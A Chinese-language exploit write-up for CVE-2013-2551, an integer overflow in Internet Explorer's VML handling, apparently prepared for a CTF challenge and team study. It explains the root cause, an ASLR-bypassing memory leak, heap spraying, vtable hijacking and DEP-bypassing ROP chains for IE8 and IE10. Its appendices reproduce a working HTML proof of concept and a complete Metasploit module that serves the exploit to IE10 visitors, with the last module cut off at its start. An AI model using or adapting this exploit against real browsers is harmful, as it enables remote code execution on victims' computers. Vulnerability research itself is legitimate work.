CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)
CVE-2013-2551漏洞成因与利用分析
1. 简介
VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节。它是一个ORG数组整数溢出漏洞,由于此漏洞的特殊性,使得攻击者可以通过整数溢出修改数组的长度,获取任意内存读写的能力,最终绕过ASLR并获取控制权限实现远程代码执行。
在漏洞公布不久,就有人写出了对应的metasploit利用代码,不过其代码只支持Win7+IE8环境。通过分析,想要在Win7+IE10下成功利用此漏洞需要解决几个关键问题,并运用几个技巧。本文首先参考已有的分析文章,根据自己的理解对漏洞成因再次进行综合分析,记录分析过程及结果,方便小组成员学习。然后针对IE8、IE10两个环境,对漏洞利用所使用的技术及技巧进行总结。
2. 实验环境
操作系统:Win7 SP1 (6.1.7601.17514)
浏览器:IE10.0.9200.16540
漏洞编号:CVE-2013-2551
3. 漏洞分析
这个漏洞是由于负责VML解析的模块VGX.DLL,在处理<v:stroke>标签的dashstyle.array.length属性时,没有对传入的参数进行完备验证而导致的整数溢出。攻击者利用这个漏洞能够对任意地址进行读写操作——通过读取敏感内存信息、改写对象虚函数表,就能够完美绕过重重内存防护机制实现任意代码执行。
3.1. VML
VML(Vector Markup Language)矢量标记语言是SVG的前身,它仍然被IE10所支持,通过它可以在页面中表现二维矢量图形。值得说明的是IE10在默认情况下是不支持VML的,但通过在HTML中加入有关对文档模式的声明,可以使IE10正常解析VML标签。VML被vgx.dll(C:\Program Files\Common Files\Microsoft Shared\VGX)所实现,可以通过附件中的VML.html来简单了解VML的使用。
3.2. 漏洞成因
VML为shape元素实现了一个Stroke子元素,Stroke子元素有一个DashStyle属性。DashStyle可以是一个常数也可以是一个自定义的类型。例如下面的使用方法:
当通过JS读取dashstyle属性时,其内部会调用"vgx!COAStroke::get_dashstyle()",随后"vgx!COAStroke::get_dashstyle()"调用子函数"vgx!COAShapeProg::GetOALineDashStyle()"并最终返回一个COALineDashStyle对象。
dashstyle属性的功能是被COALineDashStyle对象实现的,COALineDashStyle对象的方法如下,其中get_value/put_value是针对dashstyle为常数的情况。
如果dashstyle属性是自定义类型,调用COALineDashStyle::get_array()方法,将会在其子函数COAShapeProg::GetOALineDashStyleArray()中返回一个COALineDashStyleArray对象。
COALineDashStyleArray对象用来管理自定义类型的dashstyle属性,其方法如下:
设置或者读取dashstyle.array.length属性时,对应的put_length或get_length函数就会被调用;利用数组下标访问dash.array属性时,对应的put_item或get_item函数就会被调用。
使用JS语句对dashstyle属性赋值时,例如:stroke.dashstyle = "1 2 3 4",函数vgx!ParseDashStyle会被调用,将控制流转向_MsoFCreateArray函数来创建一个ORG数组。在_MsoFCreateArray中调用_MsoFInitPx函数根据数组成员个数来、进行内存分配,每个数组成员占四字节内存,所以ORG数组的缓冲区大小为数组成员个数×4(byte)。在对dashstyle.array.length属性赋值时,数组成员的个数会改变,在put_length函数中会根据新设置的值来重新为ORG数组成分配内存。然而在put_length中存在一个整数溢出漏洞,漏洞相关代码如下:
可以看出漏洞成因就在于put_length函数判断当前长度current_length和desired_length长度时,使用跳转指令是用于判断有符号数的jge指令,而数组长度是一个unsiged int类型的变量。因此当传入desired_length的值为有符号数0xFFFFFFFF时,会导致跳转至loc_1008B844处,进而调用ORG::DeleteRange。执行流程为:ORG::DeleteRange-->MsoDeletePx-->MsoFRemovePx。
进入MsoFRemovePx函数时,arg_4=current_length-desired_length,arg_8=desired_length。
在MsoFRemovePx函数内部,最终将desired_length设置成了current_length,使得在没有重新分配内存的情况下将ORG数组长度current_length改写成0xFFFF。因此,可以通过此时的ORG数组获得越界访问。
要想成功触发漏洞,须使用JS将dashstyle.array.length的值设置为0xFFFFFFFF,但是如果直接使用语句dashstyle.array.length = 0xFFFFFFFF。会提示错误有"溢出"发生,将0xFFFFFFFF改为(0-1)就能够成功触发漏洞了。
“漏洞成因”结合“信息泄露”的源代码在附录poc (CVE-2013-2551).html中给出,请参见附件。
4. 漏洞利用
4.1. Bypass ASLR
4.1.1. 信息泄露
VML shape的_vgRuntimeStyle属性由COARuntimeStyle对象负责处理,它包含很多方法,如下
使用JS语句设置或者读取_vgRuntimeStyle.marginLeft属性时,对应的COARuntimeStyle::put_marginLeft()或者COARuntimeStyle::get_marginLeft()函数就会被调用。
如果是第一次访问marginLeft/rotation属性,那么在put_marginLeft/put_rotation函数中会调用CVMLShape::GetRTSInfoàCParserTag::GetRTSInfo来创建一个COARuntimeStyle对象,该对象大小为0xAC(实际分配0xB0)。
而marginLeft属性的值对应的字符串指针就保存在该COARuntimeStyle对象的0x58偏移处。同样get_marginLeft函数在读取marginLeft属性时,也是通过访问这个对象偏移0x58位置上的字符串指针来完成的。
COARuntimeStyle::put_marginLeft()
因此,我们可以设置堆内存,使得ORG数组在一个COARuntimeStyle对象前面。然后通过ORG数组用任意值(这里使用0x7ffe0300)越界重写marginLeft属性的字符串指针,再使用COARuntimeStyle::get_marginLeft()将任意内存地址(0x7ffe0300)处的内容读取出来。0x7ffe0300处保存着ntdll!KiFastSystemCall的地址,通过此地址减去相应偏移即可得到当前ntdll.dll的内存基址。
也可以通过ORG数组越界读随后COARuntimeStyle对象的前4字节(虚函数表指针),最终减去相应偏移即可得到当前vgx.dll的内存基址。
信息泄露部分的源代码见附件poc (CVE-2013-2551).html
4.1.2. 定位shellcode
定位shellcode有两种方法可控选择,使用的最多的方法就是堆喷射,但是它并不是一种完美的利用方法。完美的利用方法是通过漏洞读取出shellcode的地址。我使用两种方法分别实现了IE10下的漏洞利用。
4.1.2.1. 通过堆喷射布局shellcode
使用堆喷射可以方便的布局我们的shellcode在指定的内存处。在IE8下,堆喷射使用常见的heapLib技术。IE10下,heapLib不再奏效,我们可以通过DEPS技术实现堆喷射。具体技术资料及源码很多,此处不再赘述。
4.1.2.2. 通过漏洞定位shellcode
由于此漏洞的特殊性,使其具有任意地址读的能力。参见4.1.1信息泄露部分,我们可以将shellcode作为COARuntimeStyle的marginLeft属性值,再通过触发漏洞使用ORG数组越界读取出shellcode的地址。其原理与“信息泄露”一致,主要在于代码实现,请参见“CVE-2013-2551_MS13-037(IE10noHeapSpray).rb”。
4.2. 获取控制权
当通过JS读取_anchorRect属性时,其内部会调用"vgx!COAShape::get__anchorRect()",最终创建并返回一个0x10大小的COAReturnedPointsForAnchor对象。
因此有这样一种利用场景:创建大量的COAReturnedPointsForAnchor对象,在其中为Dashstyle属性创建具有4个元素的ORG数组使其内存布局刚好位于大量COAReturnedPointsForAnchor对象之间。然后利用漏洞通过ORG数组越界改写其后COAReturnedPointsForAnchor对象的虚函数表指针,从而获取控制权。具体步骤如下:
1) 创建大量的COAShape元素(v:shape)
2) 遍历每个COAShape的_anchorRect属性,这样就可以创建COAReturnedPointsForAnchor元素,在遍历的过程中,某个地方给dashstyle属性赋值,这样会创建ORG对 象,为保证ORG对象和COAReturnedPointsForAnchor对象在同一个堆块并且地址连续,ORG的元素数目为4个,正好 4×4 = 0x10。
3) Dashstyle.array.length = -1,触发漏洞。由于漏洞被触发,Dashstyle.array的长度被修改为0xffff,可以越界写内存
4) dashstyle.array.item(6) = 0x0c0c0c0c,修改ORG后面的COAReturnedPointsForAnchor虚表指针。Item(6)是为了跳过堆首部的8个字节。
5) 释放_anchorRec元素,当被修改虚表指针的元素被删除时,会通过虚表调用Release函数,这样就可以被攻击者获得控制权。
4.3. Bypass DEP
4.3.1. IE8
首先来看当被修改虚函数表指针的COAReturnedPointsForAnchor对象将要被释放时,索引其Release虚函数的过程。
如上图所示,(98行)ecx保存着对象UserPtr地址,并将其首4字节(虚函数表指针)传递给eax,然后(100行)调用虚函数表的第三个函数。而在“获取控制权”阶段我们已经将对象的首4字节改写成了0x0c0c0c0c,因此它将在0x0c0c0c0c处的伪造虚函数表中索引虚函数表并调用。
在IE8下通过常规的heapLib技术进行堆喷射,将shellcode布局在0x0c0c0c0c处。并在0x0c0c0c0c处伪造虚函数表,构造ROP chain。
如上图所示,0x0c0c0c0c处就是根据之后虚函数被调用顺序,构造的ROP chain,将切换堆栈的指令(xchg eax,esp)的地址放在了0x0c0c0c0c + 0x08处,这样当程序接下来调用虚基表中的第3个虚函数Release时,就在伪造的虚函数表0x0c0c0c0c处索引第三个函数地址,并执行xchg eax,esp; retn指令
注意,当调用“第三个虚函数”时,eax保存着虚函数表指针(此时为0x0c0c0c0c),ecx保存着对象UserPtr指针。其随后的执行流程如下:
1) 通过xchg eax,esp指令可将堆栈切换到0x0c0c0c0c上,使得esp指向0x0c0c0c0c处。随后执行retn指令时,将会在新的堆栈(0x0c0c0c0c)上索引返回地址并
跳转执行。
2) 执行0x0c0c0c0c处第一个4字节地址所指向的指令——retn。继续在堆栈上索引返回地址。
3) 执行0x0c0c0c0c处第二个4字节地址所指向的指令——pop ebx; retn。意在跳过0x0c0c0c0c处的第三个4字节,并将第四个4字节的值作为返回地址并执行。
4) 第四个4字节为实际为ntdll!ZwProtectVirtualMemory函数地址,其返回地址、调用参数已经硬编码到随后的shellcode中。其目的在于修改0x0c0c0c40处0x400字
节大小的内存空间的属性,将其修改成可执行页面。
5) ntdll!ZwProtectVirtualMemory执行完毕后从堆栈上索引返回地址,跳转到0x0c0c0c40处继续执行,最终绕过了DEP,实现了任意代码执行。
4.3.2. IE10
在IE10下,我们将面对两个关键问题。首先是以前常用的堆喷射技术(heapLib)不再奏效;其次是编译器做了调整,在索引虚函数时eax不再保存虚函数表指针,转而保存对象UserPtr指针,并由ecx来保存虚函数表指针。其造成的结果是指令串xchg ecx,esp; retn;对应的字节码变长(变为87E1C3,而xchg eax,esp; retn为94C3),使得在内存中很难搜索到能够满足类似要求的指令串,从而无法轻易控制esp。(IE10下相关代码如下图所示)
针对IE10,我找到了可替代的堆喷射方法——DEPS,关于DEPS的技术细节及实现请参见参考资料链接。
而当在ntdll.dll中尝试搜索实现类似功能的指令串(xchg ecx,esp; retn;)无果后,需要重新理清思路。想明白我们能控制什么,尽最大可能利用它们仍然可以绕过阻碍。
4.3.2.1. 堆喷射下ROP chain构造
在IE10下使用DEPS技术仍然可以进行堆喷射,并把我们的shellcode部署在指定内存空间,demo中将shellcode部署在0x0c0c2228处。此时我们重点关注如何在call dword ptr [ecx+8]时控制堆栈,使得esp切换到指定的内存空间处(0x0c0c2228)
在IE8下,我们通过漏洞使用ORG数组越界改写了对象的虚函数表指针,最终对象在释放过程中将索引我们伪造的虚函数,并在一个ROP gadget中实现对堆栈的控制。但IE10下保存虚函数表指针的寄存器变成了ecx,保存对象指针的寄存器变成了eax,此时无法在一个ROP gadget中实现类似xchg ecx,esp; retn的功能。
此时,我们面对的情况为:保存对象指针的eax、保存对象虚函数表指针的ecx、一个具有越界读写对象能力的ORG数组。
因此,可以使用ORG数组进一步越界改写对象头部,利用容易找到的xchg eax,esp; retn指令串先将堆栈切换到对象内存空间上。然后再通过其他的ROP gadget将堆栈切换到shellcode处(0x0c0c2228)。实现对堆栈esp的完全控制。
首先通过mona.py搜索ntdll.dll中所有可能的gadget后。在其搜索结果中寻找可用的ROP gadget。最终效果如下:
由于我们使用了堆喷射技术对shellcode进行布局,因此我们能够确切的知道其内存位置(0x0c0c2228),在调用ntdll!ZwProtectVirtualMemory修改shellcode内存空间可执行权限时基本不存在问题,可以通过硬编码设置当前堆栈上的返回地址、参数值等。如下图所示:
4.3.2.2. 无堆喷射下ROP chain构造
- 获取shellcode地址
在4.1.1信息泄露部分,已经介绍了利用COARuntimeStyle对象及其marginLeft属性来读取任意地址处的值。如果将shellcode作为COARuntimeStyle的marginLeft属性,再通过触发漏洞,可以很容易获得shellcode的地址,这样就可以不使用heap spray,实现完美的利用。利用方法如下:
其中#{js_code}为shellcode,marginLeftAddress即为读取到的shellcode地址。
- 构造ROP chain
由于shellcode地址是动态获取的,因此在构造ROP chain(尤其是在堆栈上为ntdll!ZwProtectVirtualMemory构造返回地址及参数)时不能使用硬编码。构造ROP chain是一项考验并激发创造力的体力活,其中mona.py为我们创造了条件,提供了很多便利。
在为其构造ROP chain时运用了几个小技巧,下面一一讲解,首先来看函数的定义
其总体思想是将ntdll!ZwProtectVirtualMemory函数调用的函数地址、返回地址、参数依次传递给edi、esi、ebp、esp、ebx、edx、ecx。然后使用pushad; retn指令串将其布局在堆栈上并调用,调用pushad; retn指令串前的要求寄存器环境为:
因为ntdll!ZwProtectVirtualMemory函数的参数中有指针,参数NumberOfBytesToProtect即为一个指针,指向要修改保护属性的字节数。在ROP chain中可以使用push esp; pop; pop retn的指令串来动态获得当前的地址,例如下图122行代码所示,其ROP gadget将NumberOfBytesToProtect的地址传递给了esi,最终传递给了ebx
ntdll!ZwProtectVirtualMemory的参数BaseAddress也是一个指针,指向要修改内存属性的内存基址。调用pushad; retn前,要使esp指向想要修改内存属性的内存基址也需要一点小技巧,我的实现如下图。143行代码首先获取当前堆栈的地址,然后将其加0x40字节,并写入其值所指的内存中。即指针所指的内存空间保存着指针的地址。
最后,真正的返回地址(esi)要指向最终的payload,它将会被布局在ROP chain之后,即pushad; retn指令串之后的+4字节处(pushad; retn指令串之后的4字节保存BaseAddress)。因此,还需要将eax加4字节再传递给esi。
由于在shellcode中不能出现/u0000,因此在指定NewAccessProtection时,通过加法指令溢出寄存器,使其变为0x00000040。其实现过程如下:
至此,构造ROP chain时所运用的几个技巧已经讲解完毕。此处也可以将shellcode分开存放,即将payload作为COARuntimeStyle的marginLeft属性存放;将伪造的虚函数表及用于改写payload所在页面属性的ZwProtectVirtualMemory参数布局在ntdll.dll的.rsrc处,即可省去复杂的ROP构造;
构造ROP chain虽然是体力活,但也考验并激发创造力。有点像走一根有障碍的独木桥,想明白自己能控制什么,尽最大可能利用它们绕过阻碍,最终展现那奇妙可能性时的成就感妙不可言。
5. 总结
网上也已经有多篇文章对CVE-2013-2551漏洞成因与利用方法进行了分析说明。个人认为它是学习漏洞利用技术非常好的一个例子,通过这一个漏洞可以了解学习到漏洞利用过程中的多种技术与技巧。
6. 参考资料
[1] Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013):http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php
[2] CVE-2013-2551利用技巧分析:http://hi.baidu.com/4b5f5f4b/item/33d5c21e33ed12181994ec6c
[3] CVE-2013-2551利用分析:http://zenhumany.blog.163.com/blog/static/171806633201403114815739/
7. 附录
7.1. poc (CVE-2013-2551).html
- <html>
- <head>
- <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
- </head>
- <title>
- POC by VUPEN
- </title>
- <style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
- <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
- <body onload="createRects(); exploit();">
- <v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
- <v:oval>
- <v:stroke id="vml1"/>
- </v:oval>
- </body>
- <script>
- var rect_array = new Array()
- var a = new Array()
- function createRects(){
- for(var i=0; i<0x400; i++){
- rect_array[i] = document.createElement("v:shape")
- rect_array[i].id = "rect" + i.toString()
- document.body.appendChild(rect_array[i])
- }
- }
- function exploit(){
- var vml1 = document.getElementById("vml1")
- for (var i=0; i<0x400; i++){
- a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
- }
- for (var i=0; i<0x400; i++){
- a[i].rotation;
- if (i == 0x300) {
- vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
- }
- }
- var length_orig = vml1.dashstyle.array.length;
- vml1.dashstyle.array.length = 0 - 1;
- for (var i=0; i<0x400; i++)
- {
- a[i].marginLeft = "a";
- marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
- if (marginLeftAddress > 0) {
- vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
- var leak = a[i].marginLeft;
- vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
- vml1.dashstyle.array.length = length_orig;
- alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ));
- return;
- }
- }
- }
- </script>
- </html>
7.2. CVE-2013-2551_MS13-037(IE10).rb
- ##
- # This file is part of the Metasploit Framework and may be subject to
- # redistribution and commercial restrictions. Please see the Metasploit
- # Framework web site for more information on licensing and terms of use.
- # http://metasploit.com/framework/
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = NormalRanking
- include Msf::Exploit::Remote::HttpServer::HTML
- include Msf::Exploit::RopDb
- include Msf::Exploit::Remote::BrowserAutopwn
- autopwn_info({
- :ua_name => HttpClients::IE,
- :ua_minver => "10.0",
- :ua_maxver => "10.0",
- :javascript => true,
- :os_name => OperatingSystems::WINDOWS,
- :rank => Rank
- })
- def initialize(info={})
- super(update_info(info,
- 'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
- 'Description' => %q{
- This module exploits an integer overflow vulnerability on Internet Explorer.
- The vulnerability exists in the handling of the dashstyle.array length for vml
- shapes on the vgx.dll module. This module has been tested successfully on Windows 7
- SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target
- to use an info leak to disclose the ntdll.dll base address is provided. This target
- requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
- installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Nicolas Joly', # Vulnerability discovery, PoC and analysis
- 'Danny (modified from Nicolas Joly)', # PoC
- 'juan vazquez' # Metasploit module
- ],
- 'References' =>
- [
- [ 'CVE', '2013-2551' ],
- [ 'OSVDB', '' ],
- [ 'BID', '' ],
- [ 'MSB', 'MS13-037' ],
- [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
- [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
- ],
- 'Payload' =>
- {
- 'Space' => 948,
- 'DisableNops' => true,
- 'BadChars' => "\x00",
- 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
- },
- 'DefaultOptions' =>
- {
- 'InitialAutoRunScript' => 'migrate -f'
- },
- 'Platform' => 'win',
- 'Targets' =>
- [
- [ 'Automatic', {} ],
- [ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default
- {
- 'Rop' => :jre,
- 'Offset' => '0x5f4'
- }
- ],
- # requires:
- # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
- # * ntdll.dll v6.1.7601.17725 (MS12-001)
- [ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak',
- {
- 'Rop' => :ntdll,
- 'Offset' => '0x5f4'
- }
- ]
- ],
- 'Privileged' => false,
- 'DisclosureDate' => "Mar 06 2013",
- 'DefaultTarget' => 0))
- register_options(
- [
- OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
- ], self.class)
- end
- def exploit
- @second_stage_url = rand_text_alpha(10)
- @leak_param = rand_text_alpha(5)
- super
- end
- ###############################
- def get_ntdll_rop
- case @ntdll_version
- when "6.1.7601.17514"
- stack_pivot = [
- @ntdll_base+0x0001578a, # ret # from ntdll
- @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
- @ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll]
- ].pack("V*")
- ntdll_rop = [
- @ntdll_base+0x00047643, # pop edi # retn
- @ntdll_base+0x00045F18, # ntdll!ZwProtectVirtualMemory
- @ntdll_base+0x000c71ef, # pop esi # retn
- 0x0c0c227c, # ret to shellcode 0x0c0c2228+21*4 = 0x0c0c227c
- @ntdll_base+0x000cb72a, # pop ebp # retn
- 0xffffffff, # ProcessHandle
- @ntdll_base+0x000348b9, # pop ebx # retn
- 0x0c0c2274, # ptr to NumberOfBytesToProtect 0x0c0c2228+19*4 = 0x0c0c2274
- @ntdll_base+0x0009a30c, # pop eax # retn
- 0xFA3DFA7F,
- @ntdll_base+0x0003ab39, # add eax,5C205C1 # retn
- @ntdll_base+0x00036d70, # xchg eax,edx # retn (-> put 0x00000040 into edx)
- @ntdll_base+0x000cd241, # pop ecx # retn
- 0x0c0c2278, # ptr to OldAccessProtection
- @ntdll_base+0x000227c4, # PUSHAD # RETN eax ecx edx ebx esp(original) ebp esi edi
- 0x0c0c227c, # BaseAddress
- 0x00010400, # NumberOfBytesToProtect
- 0x41414141, # OldAccessProtection
- ].pack("V*")
- return stack_pivot + ntdll_rop
- when "6.1.7601.17725" # 未构造
- stack_pivot = [
- @ntdll_base+0x0001579a, # ret # from ntdll
- @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
- @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
- ].pack("V*")
- ntdll_rop = [
- @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
- 0x0c0c0c40, # ret to shellcode
- 0xffffffff, # ProcessHandle
- 0x0c0c0c34, # ptr to BaseAddress
- 0x0c0c0c38, # ptr to NumberOfBytesToProtect
- 0x00000040, # NewAccessProtection
- 0x0c0c0c3c, # ptr to OldAccessProtection
- 0x0c0c0c40, # BaseAddress
- 0x00000400, # NumberOfBytesToProtect
- 0x41414141 # OldAccessProtection
- ].pack("V*")
- return stack_pivot + ntdll_rop
- else
- return ""
- end
- end
- def get_payload(t, cli)
- code = payload.encoded
- # No rop. Just return the payload.
- return code if t['Rop'].nil?
- # Both ROP chains generated by mona.py - See corelan.be
- case t['Rop']
- when :jre
- print_status("Using JRE ROP")
- stack_pivot = [
- 0x7c348b06, # ret # from msvcr71
- 0x7c341748, # pop ebx # ret # from msvcr71
- 0x7c348b05 # xchg eax, esp # ret from msvcr71
- ].pack("V*")
- rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
- when :ntdll
- print_status("Using ntdll ROP")
- rop_payload = get_ntdll_rop + code
- end
- return rop_payload
- end
- def load_exploit_html(my_target, cli)
- p = get_payload(my_target, cli)
- js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
- js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
- js_ntdllBase = @ntdll_base
- js_trigger = %Q|
- // Land the payload at 0x0c0c2228
- function HeapSpray(){
- var div_container = document.getElementById("blah");
- div_container.style.cssText = "display:none";
- var data;
- var offset = 0x104;
- var nops = unescape("#{js_nops}");
- var code = unescape("#{js_code}");
- while (nops.length < 0x1000) nops += nops;
- data = nops.substring(0,offset) + code;
- data += nops.substring(0,0x800-offset-code.length);
- while (data.length < 0x80000) data += data;
- // IE 8, 9 and 10 : 0x0c0c2228
- for (var i = 0; i < 0x350; i++)
- {
- var obj = document.createElement("button");
- obj.title = data.substring(0,0x40000-0x58); //aligned spray
- div_container.appendChild(obj);
- }
- }
- var rect_array = new Array();
- var a = new Array();
- var ntdllBase = #{js_ntdllBase};
- function createRects(){
- for(var i=0; i<0x1000; i++){
- rect_array[i] = document.createElement("v:shape")
- rect_array[i].id = "rect" + i.toString()
- document.body.appendChild(rect_array[i])
- }
- }
- function exploit(){
- var vml1 = document.getElementById("vml1")
- for (var i=0; i<0x1000; i++){
- a[i] = document.getElementById("rect" + i.toString())._anchorRect;
- if (i == 0x800) {
- vml1.dashstyle = "1 2 3 4"
- }
- }
- vml1.dashstyle.array.length = 0 - 1;
- tempp = vml1.dashstyle.array.item(6);
- vml1.dashstyle.array.item(6) = 0x0c0c2228; // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2)
- vml1.dashstyle.array.item(8) = 0x0c0c2228; // ebx
- vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d; // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN @ntdll_base + 0xcc18d = 0x770cc18d
- //for (var i=0; i<0x1000; i++)
- {
- delete a[0x801];
- CollectGarbage();
- }
- //location.reload();
- }
- |
- heap_spray_func = "HeapSpray"
- create_rects_func = "createRects"
- exploit_func = "exploit"
- if datastore['OBFUSCATE']
- js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
- js_trigger.obfuscate
- heap_spray_func = js_trigger.sym("HeapSpray")
- create_rects_func = js_trigger.sym("createRects")
- exploit_func = js_trigger.sym("exploit")
- end
- html = %Q|
- <html>
- <head>
- <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
- </head>
- <title>
- </title>
- <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
- <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
- <script>
- #{js_trigger}
- </script>
- <body onload="#{heap_spray_func}(); #{create_rects_func}(); #{exploit_func}();">
- <div id="blah"></div>
- <v:oval>
- <v:stroke id="vml1"/>
- </v:oval>
- </body>
- </html>
- |
- return html
- end
- def html_info_leak
- js_trigger = %Q|
- var rect_array = new Array()
- var a = new Array()
- function createRects(){
- for(var i=0; i<0x400; i++){
- rect_array[i] = document.createElement("v:shape")
- rect_array[i].id = "rect" + i.toString()
- document.body.appendChild(rect_array[i])
- }
- }
- function exploit(){
- var vml1 = document.getElementById("vml1")
- for (var i=0; i<0x400; i++){
- a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
- }
- for (var i=0; i<0x400; i++){
- a[i].rotation;
- if (i == 0x300) {
- vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
- }
- }
- var length_orig = vml1.dashstyle.array.length;
- vml1.dashstyle.array.length = 0 - 1;
- for (var i=0; i<0x400; i++)
- {
- a[i].marginLeft = "a";
- marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
- if (marginLeftAddress > 0) {
- vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
- var leak = a[i].marginLeft;
- vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
- vml1.dashstyle.array.length = length_orig;
- document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
- return;
- }
- }
- }
- |
- create_rects_func = "createRects"
- exploit_func = "exploit"
- if datastore['OBFUSCATE']
- js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
- js_trigger.obfuscate
- create_rects_func = js_trigger.sym("createRects")
- exploit_func = js_trigger.sym("exploit")
- end
- html = %Q|
- <html>
- <head>
- <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
- </head>
- <title>
- </title>
- <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
- <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
- <script>
- #{js_trigger}
- </script>
- <body onload="#{create_rects_func}(); #{exploit_func}();">
- <v:oval>
- <v:stroke id="vml1"/>
- </v:oval>
- </body>
- </html>
- |
- return html
- end
- def get_target(agent)
- #If the user is already specified by the user, we'll just use that
- return target if target.name != 'Automatic'
- nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
- ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
- ie_name = "IE #{ie}"
- case nt
- when '5.1'
- os_name = 'Windows XP SP3'
- when '6.0'
- os_name = 'Windows Vista'
- when '6.1'
- os_name = 'Windows 7'
- end
- targets.each do |t|
- if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
- print_status("Target selected as: #{t.name}")
- return t
- end
- end
- return nil
- end
- def on_request_uri(cli, request)
- agent = request.headers['User-Agent']
- uri = request.uri
- print_status("Requesting: #{uri}")
- my_target = get_target(agent)
- # Avoid the attack if no suitable target found
- if my_target.nil?
- print_error("Browser not supported, sending 404: #{agent}")
- send_not_found(cli)
- return
- end
- if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
- html = html_info_leak
- html = html.gsub(/^\t\t/, '')
- print_status("Sending HTML to info leak...")
- send_response(cli, html, {'Content-Type'=>'text/html'})
- else
- leak = begin
- request.uri_parts["QueryString"][@leak_param].to_i
- rescue
- end
- # Use JRE1.6 to exploit it.
- if leak == 0
- html = load_exploit_html(my_target, cli)
- html = html.gsub(/^\t\t/, '')
- print_status("Sending HTML to trigger(Use JRE1.6)...")
- send_response(cli, html, {'Content-Type'=>'text/html'})
- return
- end
- # Use Ntdll to exploit it.
- print_status("ntdll leak: 0x#{leak.to_s(16)}")
- fingerprint = leak & 0x0000ffff
- case fingerprint
- when 0x70B0
- @ntdll_version = "6.1.7601.17514"
- @ntdll_base = leak - 0x470B0
- when 0x7090
- @ntdll_version = "6.1.7601.17725" # MS12-001
- @ntdll_base = leak - 0x47090
- else
- print_error("ntdll version not detected, sending 404: #{agent}")
- send_not_found(cli)
- return
- end
- html = load_exploit_html(my_target, cli)
- html = html.gsub(/^\t\t/, '')
- print_status("Sending HTML to trigger(Use Ntdll)...")
- send_response(cli, html, {'Content-Type'=>'text/html'})
- end
- end
- end
7.3. CVE-2013-2551_MS13-037(IE10noHeapSpray).rb
- ##
- # This file is part of the Metasploit Framework and may be subject to
- # redistribution and commercial restrictions. Please see the Metasploit
- # Framework web site for more information on licensing and terms of use.
- # http://metasploit.com/framework/
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = NormalRanking
- include Msf::Exploit::Remote::HttpServer::HTML
- include Msf::Exploit::RopDb
- include Msf::Exploit::Remote::BrowserAutopwn
- autopwn_info({
- :ua_name => HttpClients::IE,
- :ua_minver => "10.0",
- :ua_maxver => "10.0",
- :javascript => true,
